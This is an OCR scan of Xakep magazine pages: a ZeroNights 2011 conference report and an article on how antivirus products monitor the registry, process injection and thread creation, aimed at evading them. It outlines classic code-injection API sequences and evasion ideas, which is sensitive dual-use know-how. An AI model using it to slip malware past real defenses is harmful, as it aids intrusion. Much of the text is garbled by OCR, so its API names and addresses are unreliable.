ХАКЕР 02/157/2011

Page 75: Xakep 02_2012

Федор Ярочкин рассказывает про киберпреступность в Китае

ZeroNights 2011

публикациям в «Хакере») подвел итоги поиска

уязвимостей в Яндексе, проводившегося в те­

чение месяца. Победителем стал Владимир

Воронцов из ONsec, получивший в качестве приза чек на $5 000. Отличным завершением программы стало Оdау-шоу, во время которого

докладчики демонстрировали сплоиты, еще

не появившиеся в паблике. Где еще ты такое

увидишь?

2011 год, безусловно, удался на хакерские конференции. Если раньше была одна лишь

небольшая секция по безопасности на Chaos Construction [тоже в Питере), то в этом году у нас появилось сразу две настоящие

хакерские конференции: РНD и ZeroNights.

идти: И там и там интересные доклады. Очень

порадовал формат FastTrack: каждому доклад­чику выделяется всего 15-20 минут для вы­ступления. В результате за час ты успеваешь

прослушать самые разные доклады от разных

людей, а потом поймать их и узнать подробно­

сти.Суперплотно,суперинформативно!

Денис Баранов, который выиграл конкурс

С докладами мирового уровня, иностранными

спикерами и, что, возможно, важнее всего,

невероятнойхакерскойатмосферой, в которую

ты сможешь окунуться уже в этом году. Про­

пустить эти конференции будет самой большой

ошибкоЙ.Спасибопарням,которыеустроили

дня нас этот праздник: Саше Полякову, Алек­

сею Синцову, Диме Евдокимову, Леше Тюрину,

Илье Медведовскому и всем причастным,

которых мы просто не знаем:!.:Х:

за лучшую майку, на которой был скриншот С XSS, найденной на сайте ZeroNights :). Все ждали вечера, когда Антон «toxa» Карпов [ты наверняка его помнишь по многочисленным

Важная часть любой конфы - это конкурсы.

Конкурс Lockpicking Village по взлому замков традиционно привлек особое внимание:

десятки людей толпились вокруг стенда

в течение всего дня. Обнаружить уязвимость

в промышленном контроллере, решить

crackme от антивирусного вендора, найти и проэксплуатировать баг в SAP - конкурсы

были на любой вкус и цвет. Самые крутые

джедаи могли попробовать свои силы в тур­

нире «Царь горы», где предлагалось любыми

способами получить доступ к уязвимому

серверу и удерживать его как можно доль­

ше, отражая атаки других участников. Этот

турнир выиграла команда [RDOrJ. Порадовал Найди хоть одного зевающего хакера - все внимательно слушают! :1

.. Анализ незаконной .. Где лежат деньги?. "Уязвимости расщепления .. Практические атаки интернет-деятельности •• Леша Синцов расказал НТТР-ответа,внедрения на интернет-киоски и пла-

Невероятнохаризматич- о множестве Oday- заголовков и заражения тёжные терминалы •• ный Федор Ярочкин специ- уязвимостей в реальных кеша: снова в строю •• Алексей Поляков и Дима

ально прилетел с Тайваня, системах онлайн- Доклад посвящен Частухин часто колесят

чтобы поделиться своим банкинга, об общих ошиб- новым исследованиям по миру, посещая разные

опытом в области анализа кахвсехразработчиков уязвимостей расщепления конференции. Встретив

инцидентов компьютерной отечественных популяр- НТТР-ответа,внедрения очередной терминал или

безопасности. В результате ных продуктов, отом, заголовков и заражения киоск, они пробуют обойти

мыузнали много нового какзапятьминутобойти кеша. Владимир Воронцов ограничения, налагаемые

о целевых атаках (АРТ) токены, а также о своем рассказал о них на примере на пользователя. Этот жи-

и разных инцидентах, атак- опыте в проведениитеста современных браузеров войдокладбыл полон ви-

же о киберпреступности на проникновение в реаль- и веб-приложений и по- деодемок из самых разных

в Китае. ные банковские системы. казал демки. уголков нашей планеты :).

ХАКЕР 02/157/2011

.. ОпасностиЗGиLТЕ: от радио к ЯДРУ сети и про-

токолам •• Филипп Ланглуа показал

новыетехнологии поза-

щите и атаке сетей ЗG и LTE. Он продемонстрировал

на примерах, как внешний

атакующий можетвоз-

действоватьнателеком-

муникационные компании,

операторов мобильной

связи и SS7-проваЙдеров.

073

Page 76: Xakep 02_2012

MALWARE

...... шР. ГЛ

Евгений Дроботун 1201074IOmail.ru!

Про функции уведомления

и функции обратного

вызова Icallback­функции! Windows можно почитать

здесь: WWW.5WW-jt .

гuI2010-02-21!З62 .

На диске можно найти утилиту Black­light от F-5ecure, описанную во врезке

«Брутфорс PID».

РАССМАТРИВАЕМ СПОСОБЫ МОНИТОРИНГА СОБЫТИЙ И ПРОАКТИВНОЙ ЗАЩИТЫ В РАЗНЫХ АНТИВИРУСНЫХ ПРОГРАММАХ

Сегодня мы продолжим изучение способов

противодействия антивирусам и посмотрим,

чем еще, кроме компонентов для сигнатурного

сканирования и анализа файлов, вооружают

свои творения создатели антивирусных

программ .

Hawa любимая схема

o.c..n.тyPtlOl ... mo~_.

0-· 0 ............... __ · O~o:ac-OIC08_C

ШОцв-~_

N __

ХАКЕР 02!157!2012

Page 77: Xakep 02_2012

Бурим антивирус . Еще глубже!

к ПроеICJМ8НIII ~ЩИТ" = @J

Событи~ 3~пи(... 8~po.тнo ...

о .0

м.м.мемМ' МIOЧ llit 81NИnYC" 11 pмcтpt

" ~ 4} АктИ8НОСТ, цplllCТePHIIJI ДllII Р2Р-ч... Запросить дtист&ие ~ Q АICfИISНОСТ.,. ХilРАктер"_,. Д/lJI троян ... ЗlПРОСМТtt Дf liСТ&ие 111 ЗlПРou.Т'о АtЙСТ8~lt

8м. срtАНЯJl

BIUI. CPtAHJlJ!I

81t11. фtд.нJlJl

BH~ ... tтqIOttH~ Dl.L

• ~M"loIittlpOЦ«'C

. . .

Troj8n'DawnIo8def' Зlпрощrtt дtЙСТ8lt t

ЗlПРОGIТЬ дtИCt811t

Вм. cptд.нJ!JI

Вм. среДttJlJl

."'. ."' . )IIПРОOlТЪ дtЙCtl5иt BIUI.

311ПРОOlтъдtИСТIIМt BIUI . .... 3IIпроurrь дtЙСТ8l1t Вм. ФЦНJlI

"-~ ( 11p.111"<! _1IIiDIIII

Рисунок 1. Простейший пример неЙросети. анализирующей повеАение системы Рисунок 2. (обытия, контролируемые проактивной защитой «Антивируса Касперского»1

от мы и добрались до таких понятий,

как HIPS [Host Iпtгusiоп Ргеvепtiоп System], «проактивное детектиро­

вание » , «поведенческий анализ», «анализ,

основанный на мониторинге системных со­

бытий» ... Эти понятия на самом деле вносят даже меньше ясности, чем какой-нибудь

«эвристический анализ » . Они могут подраз­

умевать очень широкий спектр технологий и,

в общем-то, никак не помогают понять, какая

из них используется в конкретном продук-

те. Под зтими понятиями может скрываться,

например, примитивная защита нескольких

ключей реестра, или уведомления о попытках

доступа к определенным директориям, или

анализ поведения программ, или какая-либо

другая технология, основанная на мониторинге

системных событий. Если мы снова обратимся

к нашей любимой двухкомпонентной схеме,

то увидим, что технический компонент- зто

мониторинг системных событий или анализ

поведения системы, а аналитический может

быть каким угодно, от пресечения единичны х

подозрительных событий до сложного анализа

цепочек программных действий [то есть та же эвристика с набором правил и весовыми коэф­

фициентами опасности или, может быть, даже

что-то на основе нейросетей [смотри рисунок 1 и соответствующую врезку]].

В первую очередь нас будет интересовать

технический компонент проактивной защиты ,

поскольку принципы анализа событий схожи

с принципами анализа, описанными в прошлой

статье, а отличия, если они есть, мы рассмо­

трим позже. Итак, приступим.

ЧТО БУДЕМ МОНИТОРИТЬ? Для различных вредоносных программ ха­

рактерно довольно много событий, причем их

список неуклонно увеличивается по мере раз-

~~O.T~~~...-.-~~ _____________________________________ -I

КiSТ· 80502588 (28~ Ф!:jНIЩИЯ - модификация машИННОГО кода Метод JmpTo. jmp F760COE.t1mfehidk.sys. ДP~Bep ОПОЗН~ какбеэопе..сныЙ Функци - модификация мe.wИННОГО коде.. MeroAJmpTo. jmp F760COF6mfehidk.sys. драяеер опознан как безопасный Ф,=,НКЦИЯ К (~1) -модификациЯ машинного кода Метод JmpTo. jmp F760C124mfehidk.sys. драАввр опознан кек. беЗОПeDiЫЙ ФУНКЦИЯ NtМe.pViewOfSedion (6С) - МОДИФИКСЦИЯ машинного коде.. Метод JmpT о. Jmp F760C178mfehidk.sys. драйвер опознан как безопесный Ф,=,НIЩИЯ NtOрвпКву а7) -МодификациЯ мe.wинного коде. Метод JmpTo. jmp F760COODmfehidk.sys. драйеер опознан как безопасный ФУНКЦИЯ NtOpenProcess (7 д) - модификациЯ мe.wинного коде. Метод JmpTo. jmp F76DC0A8mfehidk.sys. драйвер опознан как беэопасныА Ф,=,НКЦИЯ NtOpenThre5d (80) - МОДИФИ~Я машинного коде. Метод JmpTo. jmp F760a:JBQnfehidk.sys. драйвер опознан какбеэопасный Ф,:::!НКЦИЯ МАепатвКеу (СО) - модификациЯ машинного кода. Метод JmpTo. jmp F76DC1 OEmfehidk.sys. драяеер опознен как безопасный Ф,:::!НКЦИЯ NtSetSecurityObjed (ЕО) - МодификациЯ машинного кода. Метод JmpTo. jmp F76DC150mfehidk.sys. дре.Аеер опознан как безопасный Ф,:::!НКЦИЯ NtSeNe!!!pK2)' (Р7) - Модификеция мe.wинного кода. Метод JmpTo. jmp F760C1 ЗAmfеhidk.sys. драйеер опознен как беэопесныА Ф,:::!НКЦИЯ NtТermineteProCВ88 (1 01)- модификациЯ машинного коде. Метод JmpTo. jmp F760C1A5mfehidk.sys. ДРelЙввр опознан как беЗОП8а-!ЫЙ Ф,:::!НКЦИЯ NtUnme.pViewOfSedion (108) - модификациЯ мewинного коде. Метод JmpTo. jmp F760C191 mfehidk.sys. драйеер опознан как безопасный Ф,:::!НКЦИЯ NМeldExecution (116) - модификациЯ машинного кода. Метод JmpTo. jmp F760C165mfehidk.sys. драйвер опознан какбезопас:ный ФУНКЦИЯ ExAcquireSh~dStaмtExclusivв (804F09З4) - модификация мewинного коде. Метод Int03h~ енедрение с байте 1 4 Функция ExConvertExclusivв ToSharedUte (8D4Е5АВЕ) - модификециЯ машинного коде. Метод JmpTo. jmp F6901 018 Ф,=,НКЦИЯ ExOise.bleResourceBoostLite (804F7FA7) - модификация машинного коде. Метод JmpTo jmp F69C89AO Ф,=,НКЦИЯ ExlsResourceAcquiredExclusiveUte (В04F512З) - модификация мewинного коде. Метод JmpTo. jmp FБ9С91 ВО . внедренив с беАте 6 ФУНКЦИй ExlsResourceAcquiredSharedUte (804F07ВЗ) -МОДИфикация машинного коде. Метод JmpTo.jmp Fб9С8Fб0 . енедрение с беАте. 7 ФУНКЦИЯ ExRelee.seResourceForТhree.dUtв (80.о1Е9ЕСО) - модификация мешинноГQ коде.. Метод JmpTo. jmp F69DA350 . внедрение с байте 6 Ф,=,НКЦИЯ ExSetResourceOwnerPointer (804F7FВ4) - модификация машинного коде.. Метод JmpT о . jmp F690AS88 . внеДрение с беАта1 О Ф\:JНКЦИЯ !oEnumere.teOevicвObjedIJst (804D4д1д) - модификециЯ Мe.1Uинного коде.. Метод не опр8делен~ внедрение с беАте. 1 5 ФУНКЦИЯ loGetLowerOeviceObjed (80404999) -модификецИЯ машинного кода Метод не определен~ внедрение с бсдТе. 5 Ф!::IНКЦИЯ lolni~e.lizerrp (804048зq - МОДИфике.ЦИЯ машинного кода Метод не определен~ внедрение с бейте 6 Ф,:::!НКЦИЯ loStartТimer (ЗО.о108ЕЕ8) - модификециЯ меwинного коде. Метод не определвн~ енедрение с беАте. 15 Ф,:::!НКЦИЯ loStopТimer (ВО4D949Е) - модификация машинного коде.. MeToдJmpTo. jmp F69F0628 . енедрение с беАте. 7 Ф,:::!НКЦИЯ КelnsertНeedQueue (8040.o17FF) - модификациЯ машинного коде. Метод не опрвделен~ внедрение с байте 5 Ф!::IНКЦИЯ КeRemoveQueueDpc (804Е6DдЗ) - модификаЦИЯ машинного Коде.. Метод Jmp ТО. jmp F69E0418 Ф\:JНКЦИЯ NtМepViвwOfSedion (8058.о1СЕО) - модифико.циЯ машинного коде. Метод JmpTo. jmp F760C178 mfehidk.sys:. драйвер опо энен как БВЗОПeDIыR Ф,=,НКЦИЯ NtOрепProсевз (80578115) - модификация машинного коде.. Метод JmpTo. jmp F760C0д8 mfehidk.sys, драйеер опознан к.ек беЗОПeDIЫЙ Ф,=,НКЦИЯ NtOpenТhre5d (80570202) - модификациЯ мешинного коде.. Метод JmpTo. jmp F760COBC mfehidk.sys. драйвер опознан как беэопе.сныА Ф,=,НКЦИЯ NtSetSecurityObjed (805641 ВО) - модификацИЯ машинного коде. MBTonJmpTo. jmp F7БОС150 mfehidk.sys. дрейвер опознан как безопасный Проверено ф,:::!нкциА: 28.01. перехве.чено: О. восстановлено: О 1.3 Проеерка IOT и SYSENТER

Рисунок з. Так McAfee Апtiviгus Plus пытается контролировать изменения в реестре

ХАКЕР 02/157/2012

вития творческих способностей вирусописате­

лей . Общую картину можно увидеть, к примеру,

на рисунке 2. Здесь показаны события [вернее, даже совокупности событий], на которые

реагирует «Антивирус Касперского ». Конечно,

некоторые пункты [а именно «Активность, характерная для Р2Р-червей », «Активность,

характерная для троянских программ » и «Ак­

тивность, характерная для червей » 1 описаны очень уж обобщенно, и сейчас мы попытаемся

всё это дело немного конкретизировать. Итак,

в первую оч ередь речь идет о сетевой актив­

ности: подавляющее большинство нечисти

обязательно пытается или что-то передать

в сеть [пароли, явки, номера кредиток и т. д.]

или, наоборот, что-то получить из сети [загру­зить основную часть малвари или обновления,

принять какие-нибудь команды управления ,

да мало ли еще что]. Многие вредоносные программы пытаются проинжектить свой код

БРУТФОРС PID

Некоторые утилиты (например, Black­light от F-Secure или SpyDLLRemover] используют для поиска скрытых процессов

брутфорс идентификаторов процессов (BPID). Метод достаточно прост и в то же время

эффективен. Такие утилиты открывают

процессы и перебирают все возможные PID. К примеру, Blacklight в цикле пытается вызвать OpenProcess для всех возможных значений идентификатора процесса из диапазона

от ОхО до Ох4Е1с. Таким образом, можно

получить список процессав, присутствующих

в системе. Затем вызывается функция Сгеа­

teToolhelp32Snapshot, которая выдает второй список процессов. Потом два эти списка

сравниваются: если процесс присутствует

в первом и отсутствует во втором, то он

считается скрытым.

075

Page 78: Xakep 02_2012

MALWARE

.text:00429811 : .text:00429811 IОС_429811: ... • text: 00429811

• .text: 00429813 • .text: 00429814 • .text: 00429816 • • text : 00429817 • • text : 00429819

pUSh push push push push саН

• cnnF XRFF, <;lIh h?99AE+EEtj fAsynchronus

еах hEuent 4 ; dwHotifyFilter еЬр ; bWatchSubtree d"ord ptr [esi] ; hKey dS: RegHotifyChangeKeyUalue

• • text : 0042981 F """1IItI--"'II'II' ru't":"~ " -irf:nlah--=---=--.;....-----.J • • text : 00429821 СIllР edi, еЬр

.text:00429823 jz short 10с 429860 • . text:00429825 IIIOU еах, dword 488САО • • text : 0042982А с"'р еах, еЬр -• .text:0042982C j z short 10с 42984С

___ ::e~t.:0!.4~8~E ________ III~U __ .:c~.' J~Xl _______________ _ • text: 00428702 • text: 00428708

• . text: 0042870А • • text: 00428708

• text:0042870C • text : 004287 ОЕ .text:0042870E IОС_42870Е:

... • text : 004287 ОЕ • • text : 00428714 • • text : 00428716 • • text : 00428717 • . text : 00428719 • • text: 00428718

.text:0042871C • • text: 00428722

саН

test рор

рор

jnz

IIIOU

PUSh push push push push саН

test

ds: RegOpenKeyExA еах, еах

edi esi short lос_4286С2

есх, hObject СООЕ XREF: sub_428690+4Atj

, ; .Rsyncnronus еЬх ; hEuent 4 ; dwHotifyFilter

; bWatchSubtree есх ; hKey ds: RegHotif9ChangeKeuUalue еах, еах

Рисунок , . Контроль за изменениями в реестре с помощью RegNotifyChangeKeyValue. Выше красной пунктирной линии показана реализация в McAfee, ниже линии - в «Каспереком». Как говорится, найди отличия

в доверенный процесс lобычно это explorer. ехе или svchost.exel, получить привилегии отладчика и иэменить системные компоненты

Iнапример, пропатчить ядро ОС в своих интере­

caxl- в общем, как можно глубже внедриться в систему.

Думаю, с отслеживаемыми событиями все

ясно, поэтому пойдем дальше.

СЛЕДИМ ЗА РЕЕСТРОМ Любая уважающая себя малварь при зараже­

нии системы должна позаботиться о своем

повторном запуске после перезагрузки. Она

может выбрать для этого множество доступны х

мест, начиная от папки «Автоза грузка » и за­

канчивая кучей ключей автозапуска в реестре .

Чаще всего, конечно же, малварь модифициру­

ет ключи автозагрузки в реестре.

NtCreateKey, NtDeleteKey и т. п. На рисунке 3 показано, как антивирус от McAfee перехваты­вает функции ядра для работы с реестром.

Следующий способ заключается в ис­

пользовании специальной АРI -функции

RеgNоtifуСhапgеКеуVа luе. Создатели Windows обучили эту функцию извещать программу,

которая ее вызвала , об изменении опреде­

ленного ключа реестра. Ее используют

многие антивирусные программы Iрисунок 41 . В случае изменения реестра функция

.. CFF Explor.r vп . (klif.sys)

Fil! Settings ?

:. ~ r§J / ldif.sys I Module Name Jmpolts

~ Rle: IdW.sys 0003ЕЗбд N/A - Ш 00. Нe.der

устанавливает в сигнальное состояние за­

ранее созданный объект типа Event !событиеl, и антивирусу остается только отследить это

событие и принять соответствующие меры.

Помимо RеgNоtifуСhапgеКеуVаluе, в не-

драх Windows прячется еще одна небольшая функция CmRegisterCallBackEx, с помощью которой также можно контролировать реестр.

Эта функция устанавливает так называемую

callback-функцию Iфункцию уведомленияl , ко­торая выэывается при изменениях в эаранее

определенных ветках реестра . Эта функ-

ция, в отличие от RеgNоtifуСhапgеКеуVаluе,

может использоваться только в режиме ядра,

и поэтому такой контроль за реестром осу­

ществляется с помощью драйвера 'К примеру, драйвер «Антивируса Касперского 2010» klif . sys импортирует функцию именно для этой цели Iрисунок 511 . Как правило, антивирусы редко довольствуются только одним спо­

собом контроля реестра lособенно первым, который не так уж и надежен, тем более если

перехват нужных функций делать в юзермо­

деl и используют комбинацию двух IMcAfee, например, помимо перехвата использует

RegNotifyChangeKeyValuel, а то и всех трех способов.

ИНЖЕКТ В ЧУЖИЕ ПРОЦЕССЫ Инжект в память чужого процесса можно

считать классическим методом, который

используют современные вирусы, так как он

позволяет реализовывать вредоносные функ­

ции под доверенным процессом. Очень часто

в роли этого доверенного процесса выступает

explorer.exe, чуть реже - svchost.exe. Прежде чем внедряться в нужный про­

цесс, его необходимо найти. Если речь идет

об explorer.exe, то самый простой и удобный способ для малвари - это задействовать

='H~ (~

Х

oFТ> TimeOateStamp ForwarderChain NameRVJ

0003ССЕО 0003ССЕ4 0003ССЕ8 0003ССЕС

Некоторые вредоносные программы также

пытаются изменить или дополнить какие-либо

другие ключи реестра 'К примеру, пропи-

~нш~ szAnsi (nFunctions) Dword Oword Dword Dword

сать свою DLL, изменить пара метры Iпtегпеt Explorer'a или устано вленной в системе анти­вирусной программы и т. д.l. в общем, делаем вывод: за реестром надо следить, и следить

тщательно. И все, даже самые захудалые анти­

вирусные программы, гордо несущие в своем

составе компонент проактивной защиты, про­

сто обязаны это делать .

Самые распространенные способы кон­

троля изменений в реестре - это перех ват

АРI-функций работы с реестром или ис­

пользование специализированных функций

контроля над реестром. Что касается первого

способа, то для контроля над реестром обычно

достаточно перехватить функции RеgОрепКеу,

RegCreateKey, RegDeleteKey из advapi32. dll или более низкоуровневые NtОрепКеу,

076

• Fie Нeoder ntoskml.exe 1195 00042058 оооооооо оооооооо 00043Sбд

Ш ()ptJonol H •• d ... Ш Dot.Oirectofiesl><) HAl.dll 8 00042034 оооооооо оооооооо 00043б4С

- Ш SecIЮn Нeod ... 1><) FlTMGR.SYS б4 ООО41F30 оооооооо оооооооо 00043С92 - - Щ>ort Oirectory

- E:I Reoocwce Oirectory - E:I ReIocotion ov.ctory

( ,,~ - - t

- E:I Debug ov.ctory oFТ> FТs(Jдr) Hint Name А

- ~ Address Converteг 0003CF80 0ОО3ООВО 0003Е04Е 0003EOSO - ;J) oependency WoIker - ~ нех _ог Dword Dword Word szдnsi

- '':> IdentWi..- 0004320С 000432ОС 03С1 MmUse:rProbe:Addre:ss [] - 'J> Import Addeг -- ;J)Quick Disassembl ... 00043222 00043222 0280 Ke:Are:ApcsDisabIe:d

- -- ;J) Rebuildeг 00043236 00043236 0035 ( CmRe:girte:rCallb"kEx ) - ;J) ReSOL.n:e _ог --- UPX Uilny 0004324Е 0004324Е 0033

Рисунок 5. Функция CmRegisterCallBackEx в драйвере klif.sys из «Антивируса Касперекого 2010»

-CmGe:tCallback.Ve:rsion - . ---

А

-

ХАКЕР 02 /157/2012

Page 79: Xakep 02_2012

Handles I ~ Kernel-Mode Drivers I

Services :: 667 - Detoured:: 1 О - Extr а :: О

х

OxF6FIICI0 OxF6F12BOO

Рисунок 6. Перехват NtUserFindWindowEx «Антивирусом Касперского»

х

OxBF81C70F OxBF80EE39

lli

' • . ." Кеrnel Detective Уl.2 :: Se~rchProtocoIHost.exe

File Settings H.lp

Бурим антивирус. Еще глубже l

v

= @) II&!OOOI FindWindow lили FindWindowExl с идентифи­катором окна progman. FindWindow, в свою очередь, базируется на NtUserFindWindowEx, и, перехватив ее Iрисунок 6), можно отследить, какая программа ищет процесс explorer.exe.

Procossosl Тhr.ods 1 ,.,!. Oynмjclli< Li><.nes 1 -1 КemoI.мod. Drivers 1 '* DiSOSSembIer 1 ~ Dobug Voow f!' Syst..,±

Index Sl.rviceNlIme 1 Cu".n! Ad .•• 1 O';gin.1 д... 1 s!.!. Т'Мodu!e г-:-18 NtAilocateVlltulll~>1emo'Y O>I8З9ЗDC56 O1I.lС8З9В9 Modr'.ed с: ;.{'ndО\ oyst.mЗ2\dпvors\dwрrоt.sys ] Q 78 NtCrellte Thre4d O>I8З9ЗFOДД 0>I82CE4D04 Modi,led С: W,ndo s\syst.mЗ2\dnvors\dwprot.sys

147 NtFr~VirtualMemory !bsЗ9ЗDED4 O>I8lAE2D17 Modofi.d C:\WindowsuYstem32\drivers\dwprot.sys 255 NtQueueApc Thread Oot8З9ЗF1ДС 0>I82C04F54 Modlfled С:\W,пdоws\syst.mЗ2\dnvor>\dwрrot.sys.

2в9 MSg(onte::xtThrNd 0>18З9ЗF1F8 0>I82CE5IOF Mod~iod С:\Wiпdows\w.t.mЗ2\drivors\dwprоLsys

358 ~·nteljirtuaIMemOry 00t8З9ЗDFЕ4 O>08lC5E85D Moddlm (;\W,ndows s,stomЗl,d",..,\dwprot.sys ] 382 NtCr~<=teThreadEx O>I8З9ЗF180 ~2C52дE8 Modified С Njndows' svstomЗ2\о" '"" dNorot.svs О NtAcceptConnectPort 0>I82C08949 00t82C08949 С:\Wiпdоws\oyst.mЗ2\п!kmlр ..... 1 NtAccessCheck O>I8lA7801F 0>I82A7801F C:\Windows\system32\ntkmlp~.ex~

Существует как минимум два очень рас­

пространенных способа внедрения посторон­

него кода в адресное пространство какого­

либо процесса. Первый способ: получаем

дескриптор процесса посредством вызова

функции OpenProcess, выделяем в нем нужный

кусочек памяти с атрибутом PAGE_EXECUTE_ READWRITE IАРI-функция VirtualAllocExl, копируем туда все, что нам нужно, добываем

дескриптор основного потока, замораживаем

его ISuspendThreadl, получаем и запоминаем регистровый контекст IGetThreadContext), пишем в указатель команд адрес начала

вредоносного кода, обновляем регистровый

контекст ISetТhreadContext) и размораживаем поток IResumeThreadl, передавая управление на внедренный код, который после выполне­

ния задуман ного восстанавливает оригиналь­

ный указатель команд.

2 NtAcc6sCheckAndAuditAlarm 0>I82СЗF9ВD 0>I82СЗF9ВО С:\Wiпdоws\oystеmЗ2\п!lcrпlр ... хе 3 NtAccessCheck8yTyp~ O>I8lA7Dl81 0>I82A701B1 C:\Windows\system32\ ntkrnlpa.exe 4 Ntдcc .. sChock8yTypOДndAud~ ... 0>I82СЗF8DD 0>I82СЗF8DD С:\Wiпdоws\oyst.mЗ2\пtkmlр ..... 5 NtAcc6sCh~ck8yTypeR6ultlist 0>I82ВЗ1ВДО 0>I82ВЗ1ВДО C:\Windows\system32\ntkmlp~.exe 6 Ntдcc .. sChock8yTyp.R .. u~ListA. .. 0>I82CF2845 0>082CF2845 C:\Windows\system32\ntkrnlp~.exe 7 NtдccessChockByTyp.R .. u~Listд ... 0>082CF288E 0>082CF288E C:\Windows\syrtem32\ntkrnlp~.e.xe

8 NtдddAtom 0>I82CODBIO 0>I82CODBIO С:\Wiпdоws\oystomЗ2\пtkmlр . .... ~

т otal Se:rviC6 :: 391 - Modifi~:: 7 - Extra :: О Д

Рисунок 7. Контроль над операциями с памятью и созданием потоков в антивирусе DrWeb

Второй способ: получаем дескриптор

процесса посредством OpenProcess, вы-

деляем в нем память так же, как и в первом

случаеlViгtuаlАllосЕхl, копируем туда внедряе­мый код через WriteProcessMemory и создаем

удаленный поток с помощью АРI-функции

Create Remote Thread.

Конечно, увидев последовательно-

сти вызовов OpenProcess\VirtuaIAllocEx\

Wгite Рго cessM е m о ry\Su spe n dTh геа d\ GetТhreadContext\ SetТhreadContext\ ResumeThread или OpenProcess\VirtuaIAllocEx\

НЕЙРОСЕТИ НА АНТИВИРУСНОЙ СЛУЖБЕ

Искусственная нейронная сеть представляет собой математическую

модель нейронной сети головного мозга человека lили какого-нибудь

другого животного). Она состоит из простейших элементов - нейронов,

которые связаны между собой Iрисунок 11. Каждый нейрон выполняет несложную операцию: на основе поступающих от других нейронов

сигналов, которые представлены в виде чисел от О до 1, и их весовых

коэффициентов вычисляет выходной сигнал . Весовые коэффициенты,

или веса свяэей между нейронами, представляют собой параметры,

определяющие работу нейронной сети. Нейроны группируются

в последовательность слоев, входные сигналы поступают на первый

Iвходной) слой и последовательно проходят все слои до последнего

'выходного). в нашем примере в качестве входных сигналов

используются события, происходящие в системе (количество входов

ХАКЕР 02/157/2012

равно количеству анализируемых событий, при этом на каждый вход

подается 1, если событие произошло, и О, если события не было), каждый

выход нейросети соответствует определенному типу вредоносной

программы (эначения на выходах могут меняться от О до 1, а в качестве решения выбирается тот выход, на котором в итоге зафиксировано самое

большое значение).

Обучение нейронной сети может проводиться с учителем (на основе

уже решенных задачl или без него (на основе реакции cpeAbIl. Обучение с учителем IKoTopoe больше подходит для нашего случаяl происходит при последовательном решении с помощью нейронной сети

уже выполненных задач и сравнеНiIIИ полученного результата с уже

известным: если они не совпадают, производится коррекция весовых

коэффициентов связей между нейронами.

077

Page 80: Xakep 02_2012

MALWARE

WriteProcessMemory\ CreateRemoteThread в файле, любой, даже самый захудалый файло­

вый сканер, оснащенный хотя бы примитив­

ным эвристическим анализатором, поднимет

тревогу, ведь в нормальных программах такие

последовательности вызовов API встречаются крайне редко . Но ведь шифрование файла,

неявный вызов функций, получение адресов

нужны х API с помощью GetProcAddress по хе ­

шам их названий и прочие хитрости по со­

крытию и запутыванию кода никто не отменял,

и поэтому с этим надо что-то делать. Кроме

того, при очень большом желании можно обой­

тись без WriteProcessMemory. Поэтому проактивной защите прихо­

дится тяжело трудиться и контролировать

и функции по работе с виртуальной памятью,

и функции по созданию потоков. Конечно же,

перехватывать эти функции нужно в ядре

с помощью драйвера . Все функции по работе

с виртуальной памятью основаны на функциях

NtAllocateVirtual Метогу, NtFreeVirtual Метогу и NtWriteVirtualMemory, а API CreateRemoteThread - на NtCreateThread. И, например, DrWeb перехватывает их все с помо­щью с воего драйвера dwprot.sys [рисунок 71.

Есть и другой способ отследить создание

потоков - воспользоваться специальной

функцией РsSеtСгеаtеТhгеаdNоtifуRоutiпе . Эта

функция регистрирует функцию уведомления,

которая вызывается в момент создания или

уничтожения потока [рисунок 81. Поскольку функция уведомления вызывается в контексте

потока, который инициировал создание нового

потока, то определить инициатор и выяснить,

насколько он его благонадежен, не составляет

труда.

ходимости контроля всех процессов, которые

крутятся в памяти компьютера, и уж тем более

о целесообразности выявления процессов,

пытающи хся скрыться от « всевидящего

ока» Task Мапаgег'а. Любой процесс может оказаться зловредным, а уж тот, который

пытается скрыть свое присутствие в системе,

и вовсе потенциальный враг. Поэтому все

процессы необходимо строжайше учитывать

г----· IHIT:00051115 • IHIТ:0005111B • IHIТ: 00051120 • IHIТ: 00051127 • IHIТ: 0005112D • IHIТ: 0005112F

IHIT:0002A9D5 loc_2A9D5: ~. IHIT:0002A9D5

• 1 HIТ: 0ОО2А9О6 • 1 HIТ: 0ОО2А9ОВ • 1 HIТ: 0ОО2А9Е1 ' . IHIТ: 0ОО2А9Е3

lea еах, [ebp+10h] push еах

push dword ptr [ebp+ OCh ]

puSh push саН

саН ds:PsLookupProcessByProcessId test еах, еах

jl short loc_24567 push еЬх

push еЬх

push еЬх

push dword ptr [ebp+ OCh ] push d~/ord ptr [ebp+10h] push еЬх

саН sub 244С2 1II0U есх: [ebp+10h ] саН ds: ОЬfDеrеfеrепсеОЬjесt

СООЕ XREF: sub_2A~

Рисунок 9. Испопьзование PsSetCreateProcessNotifyRoutine в DrWeb ДЛА контроля над созданием процессов

и контролировать. Разработчики операцион­

ной системы Windows предусмотрели много механизмовдляполучения уведомлений

о наступлении каких-либо событий. О приме­

нении некоторы х из них в различных анти­

вирусных программах я немного рассказал

выше [такие механизмы основаны на ис­пользовании функций CmRegisterCallBackEx, RеgNоtifуСhапgеКеуVаluе и PsSetCreateThread NоtifуRо utiпеl.

Для регистрации функции уве­

домления о создании или заверше­

ния процесса предусмотрена функция

PsSet С reate Р госе ssN о! ifyRo uti пе [Ps SetC геа! еРгосеssNоtifуRоutiпеЕх начиная с Vista SP11, и большинство создателей антивирусных

средств не считают заэорным ею пользоваться

[к примеру, на рисунке 9 проиллюстрирована регистрация саllЬасk-функции в драйвере

dwprot.sys от « Доктора Веба » l . Операцион­ная система вызывает зарегистрированный

обработчик в двух случаях: когда процесс

loc 5134F

создается и когда процесс завершается.

В первом из них функция уведомления вы­

зывается, когда начальный поток уже создан,

но его исполнение еще не началось. Во втором

случае операционная система вызывает

функцию уведомления перед завершением

последнего потока в процессе . Что мы можем

сделать, узнав, что какой-то процесс начал

свою деятельность в операционной системе?

Во-первых, мы можем просканировать всю

память процесса, чтобы выяснить, нет ли в нем

вредоносного кода [отом, какэтосделат~

мы уже знаем из прошлой статьиl. Во-вторых, пробить этот процесс по списку доверенных

и благонадежных. В-третьих , узнать, не пред­

принималась ли попытка создать процесс

с отрицательным PID, что однозначно говорит о намерении скрыть такой процесс. Ну

и в-четвертых, можно получить список про­

цессов с помощью СгеаtеТооlhеlр32Sпарshоt

[или NtQuerySystemlnformation на более низком уровнеl и проверить, есть ли там

( offset loc 2D8BA ) byte_43D2F, 1 ds: PsSetCreateThreadHotifyRoutine esi, еах esi, еЬх

Указатель на callback­фvнкцию

